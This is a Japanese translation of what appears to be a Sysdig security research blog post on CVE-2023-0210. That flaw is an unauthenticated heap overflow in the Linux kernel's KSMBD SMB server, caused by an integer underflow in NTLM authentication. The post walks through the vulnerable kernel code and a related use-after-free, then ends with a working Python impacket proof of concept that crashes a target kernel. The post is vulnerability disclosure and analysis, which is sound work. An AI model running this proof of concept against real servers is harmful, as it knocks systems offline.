CVE-2023-0210 : KSMBD 内の Linux カーネルの認証されていないリモート ヒープ オーバーフロー

By 清水 孝郎 - JANUARY 24, 2023

SHARE:

CVE-2023-0210 : KSMBD 内の Linux カーネルの認証されていないリモート ヒープ オーバーフロー

本文の内容は、2023年1月24日にSYSDIG THREAT RESEARCH TEAM が投稿したブログ(https://sysdig.com/blog/cve-2023-0210-linux-kernel-unauthenticated-remote-heap-overflow/)を元に日本語に翻訳・再構成した内容となっております。 著者:Hrvoje Mišetić KSMBDは、カーネルのドキュメントによると1、ネットワーク上でファイルを共有するためにカーネル空間でSMB3プロトコルを実装しているLinuxカーネルサーバーです。カーネルバージョン’v5.15-rc1’で導入されたので、まだ比較的新しいです。ほとんどのディストリビューションでは、KSMBDはカーネルにコンパイルされておらず、デフォルトで有効になっています。 最近、KSMBDに別の脆弱性(ZDI-22-16902)が発見され、カーネルコンテキストで認証されていないリモートコードの実行が可能になりました。これは、KSMBDのコードをさらに調べる動機となり、そこで、KSMBDの認証コードに新たなヒープオーバーフローを発見しました。

ZDI-22-1690とは?

このバグが発生する場所を理解するために、まずKSMBDの以前の脆弱性を見てみましょう。修正コミット3にはこう称されています。 > smb2_tree_disconnect() は構造体 ksmbd_tree_connect を解放しましたが、ぶら下がったポインタを残しています。これは、複合要求の下で再びアクセスすることができます。 これは、このパッチが適用される前に、この関数がどのように見えたかを示しています:
int smb2_tree_disconnect(struct ksmbd_work *work)
{
        struct smb2_tree_disconnect_rsp *rsp = smb2_get_msg(work->response_buf);
        struct ksmbd_session *sess = work->sess;
        struct ksmbd_tree_connect *tcon = work->tcon; // (1)

        rsp->StructureSize = cpu_to_le16(4);
        inc_rfc1001_len(work->response_buf, 4);

        ksmbd_debug(SMB, "request\n");

        if (!tcon) {
                struct smb2_tree_disconnect_req *req =
                        smb2_get_msg(work->request_buf);

                ksmbd_debug(SMB, "Invalid tid %d\n", req->hdr.Id.SyncId.TreeId);
                rsp->hdr.Status = STATUS_NETWORK_NAME_DELETED;
                smb2_set_err_rsp(work);
                return 0;
        }

        ksmbd_close_tree_conn_fds(work);
        ksmbd_tree_conn_disconnect(sess, tcon); // (2)
        return 0;
}
コミットメッセージの中で、上記の関数は ‘ksmbd_tree_connect’ 構造体を解放しますが、ぶら下がったポインタを残すと称されています。この関数には `ksmbd_tree_connect` 構造体がひとつだけ存在し、それは ‘work->tcon’ pointer **(1)** です。このポインターは、この関数内で一度だけ参照され、’ksmbd_tree_conn_disconnect’関数呼び出しの第2引数です **(2)**. では、’ksmbd_tree_conn_disconnect’が ‘tcon’ ポインターを用いてどのような処理を行うのかを見てみましょう:
int ksmbd_tree_conn_disconnect(struct ksmbd_session *sess,
                               struct ksmbd_tree_connect *tree_conn)
{
        int ret;

        ret = ksmbd_ipc_tree_disconnect_request(sess->id, tree_conn->id);
        ksmbd_release_tree_conn_id(sess, tree_conn->id);
        xa_erase(&sess->tree_conns, tree_conn->id);
        ksmbd_share_config_put(tree_conn->share_conf);
        kfree(tree_conn); // [1]
        return ret;
}
上記のコードスニペットに示すように、’ksmbd_tree_connect’ はこの関数の最後で解放されており、これは ‘work->tcon’ が解放されたカーネルヒープチャンクへのポインタであることを意味します。また、修正コミットで提供された、メモリエラーを検出する Kernel Address Sanitizer (KASAN) レポートを見ることができます:
[ 1685.468014 ] BUG: KASAN: use-after-free in ksmbd_tree_conn_disconnect+0x131/0x160 [ksmbd]

[ 1685.468068 ] Read of size 4 at addr ffff888102172180 by task kworker/1:2/4807

[...]

[ 1685.468130 ] Call Trace:

[ 1685.468132 ] <TASK>

[...]

[ 1685.468210 ] ksmbd_tree_conn_disconnect+0x131/0x160 [ksmbd]

[ 1685.468222 ] smb2_tree_disconnect+0x175/0x250 [ksmbd]

[...]
これは、’smb2_tree_disconnect’ によって呼び出される ‘ksmbd_tree_conn_disconnect’ 関数で use-after-free が起こると称し、その後、KSMBDサーバーに ‘SMB2_TREE_DISCONNECT’ コマンドを複合送信すると、work->tconポインタにダブルフリーを引き起こすと考えられます。悪用方法は不明ですが、この記事とは無関係です。

NTLM 認証

ヒープオーバーフローの脆弱性は NTLM 認証のコードに存在するため、NTLM がどのように動作するのか理解しておく必要があります。
  1. クライアントがサーバに対して、認証したいユーザ名を指定してリクエストを行なう。
  2. サーバはそのユーザ名が存在するかどうかをチェックする。
    1. 存在しない場合、接続を切断する。
    2. そうでなければ、クライアントにチャレンジを送信する。
  3. クライアントはチャレンジを受信し、ユーザーパスワードのハッシュで暗号化したチャレンジを送り返す。
  4. サーバーはシステムからユーザーのパスワードを取得し、それをハッシュ化し、ステップ2からのチャレンジをそのハッシュで暗号化する。
  5. サーバーは、ステップ3とステップ4のblobを比較する。
  6. これらが一致した場合、クライアントは認証されます。

CVE-2023-0210

認証なしで到達可能な脆弱性を探している間、我々はまず認証の実装を調べ始めるのが良い考えであると仮定しました。少し探したところ、‘ksmbd_decode_ntlmssp_auth_blob’という名前の関数が見つかりました。
int ksmbd_decode_ntlmssp_auth_blob(struct authenticate_message *authblob,
        int blob_len, struct ksmbd_conn *conn,
        struct ksmbd_session *sess)
{

        char *domain_name;
        unsigned int nt_off, dn_off;
        unsigned short nt_len, dn_len;
        int ret;

        [...]

        // (1)
        nt_off = le32_to_cpu(authblob->NtChallengeResponse.BufferOffset);
        nt_len = le16_to_cpu(authblob->NtChallengeResponse.Length);

        [...]

        if (blob_len < (u64)dn_off + dn_len || blob_len < (u64)nt_off + nt_len) // (2)
                return -EINVAL;

        [...]

        ret = ksmbd_auth_ntlmv2(conn, sess,
                (struct ntlmv2_resp *)((char *)authblob + nt_off),
                nt_len - CIFS_ENCPWD_SIZE, // (3)
                domain_name, conn->ntlmssp.cryptkey);

        [...]

        return ret;
}
ここで注意すべき点は、 ‘authblob’ 変数が NTLM 認証の第3段階であることです。この関数に到達するためには、リモートの KSMBD インスタンスの有効なユーザ名を知っていなければならず、最初の 2 段階を突破することができません。 上記のコードを検証してみましょう。まず、この関数はクライアントのチャレンジレスポンスから ‘BufferOffset’  ‘Length’ を取得し、それぞれ‘nt_off’ と ‘nt_len,’に格納します **(1)** 。その後、‘nt_off + nt_len’ がメモリ内のクライアントのチャレンジレスポンスの範囲外にならないかどうかチェックします **(2)** 。最後に ‘ksmbd_auth_ntlmv2’ を呼び出し、4番目の引数は ‘nt_len – CIFS_ENCPWD_SIZE’  **(3)** で、これがバグです。クライアントのチャレンジレスポンスが提供する ‘nt_len’   ‘CIFS_ENCPWD_SIZE.’ 未満であれば整数のアンダーフローがトリガーされます。 では、 ‘ksmbd_auth_ntlmv2’ が第4引数で何をするのかを見てみましょう:
int ksmbd_auth_ntlmv2(struct ksmbd_conn *conn, struct ksmbd_session *sess,
                      struct ntlmv2_resp *ntlmv2, int blen, char *domain_name,
                      char *cryptkey)
{
        char ntlmv2_hash[CIFS_ENCPWD_SIZE];
        char ntlmv2_rsp[CIFS_HMAC_MD5_HASH_SIZE];
        struct ksmbd_crypto_ctx *ctx;
        char *construct = NULL;
        int rc, len;

        [...]

        len = CIFS_CRYPTO_KEY_SIZE + blen; // (1)
        construct = kzalloc(len, GFP_KERNEL);
        if (!construct) {
                rc = -ENOMEM;
                goto out;
        }

        memcpy(construct, cryptkey, CIFS_CRYPTO_KEY_SIZE);
        memcpy(construct + CIFS_CRYPTO_KEY_SIZE, &ntlmv2->blob_signature, blen); // (2)

        [...]

out:
        ksmbd_release_crypto_ctx(ctx);
        kfree(construct);
        return rc;
}
上のコードでわかるように、’len’の計算 **(1)** と ‘memcpy’ の呼び出し **(2)** の2箇所で参照されており、割り当てられたヒープバッファをオーバーフローさせるように悪用できるような形になっています。 もし ‘blen’ の値が -7 であれば、’len’ の計算は ‘CIFS_CRYPTO_KEY_SIZE + (-7)’ または ‘8 + (-7)’ になります。これは、size 引数が 1 である kzalloc 呼び出しとなり、その後 ‘memcpy’ はその割り当てられたヒープバッファを宛先として使用して ‘blen’ または -7 のバイト量をそこにコピーし、ヒープバッファのオーバーフローとなります。 memcpyの第3引数の型は  ‘size_t’  であるため、このオーバーフローはリモートコードを悪用するには大きすぎますが、サービス拒否につながる可能性が最も高いです。書き込み操作がメモリのアクセス不可能な領域に到達すると、カーネルパニックが発生します。

Exploitation(搾取)

このオーバーフローを誘発するために、impacket4 を少し修正しました。具体的には、 ‘ntlm.py’ ファイルの9315行目に‘ntChallengeResponse = b”A” * 9’ を追加し、有効なユーザー名を使用してKSMBDサーバーで認証するためにインパケットを実行しました。また、’ntChallengeResponse’ が設定されている関数をフックして、以下のコードで変更すればよいでしょう:
#!/usr/bin/python3
from impacket.smbconnection import SMBConnection
import functools
import impacket.ntlm

# using impacket-0.10.0

user = "test"
pw = "test"
domain = "localhost"
address = "127.0.0.1"
target_ip = "127.0.0.1"
port = "445"

def post_function(function, postfunction):
    @functools.wraps(function)
    def run(*args, **kwargs):
        resp = function(*args, **kwargs)
        return postfunction(resp)
    return run

def post_computeResponseNTLMv2_hook(resp):
    return ('A' * 10, resp[1], resp[2])

impacket.ntlm.computeResponseNTLMv2 = post_function(
    impacket.ntlm.computeResponseNTLMv2, post_computeResponseNTLMv2_hook)

smbClient = SMBConnection(address, target_ip, port)
smbClient.login(user, pw, domain)
この結果、カーネルがパニックになりサービス拒否が発生しますが、現在のところ、この脆弱性を悪用した結果はこれだけです。

まとめ

これらのバグは恐ろしいように聞こえますが、ほとんどのLinuxユーザにとってはそれほど大きな問題ではありません。主に2つの理由があります。KSMBDはデフォルトでは有効ではなく、モジュールであるため、ここに書かれているように6、ユーザが自分で有効にして設定しなければなりません。また、SMBプロトコルの性質や大規模なセキュリティインシデントにおける歴史的な意味を考えると、SMBポートをインターネットに直接公開する必要はほとんどなく、一般に推奨されない行為であることも知っておく価値があります。

参考文献:

1https://docs.kernel.org/filesystems/cifs/ksmbd.html 2https://www.zerodayinitiative.com/advisories/ZDI-22-1690/ 3https://github.com/namjaejeon/ksmbd/commit/c88d9195ac11b947a9f5c4347f545f352472de0a 4https://github.com/fortra/impacket 5https://github.com/fortra/impacket/blob/master/impacket/ntlm.py#L931 6https://docs.kernel.org/filesystems/cifs/ksmbd.html#how-to-run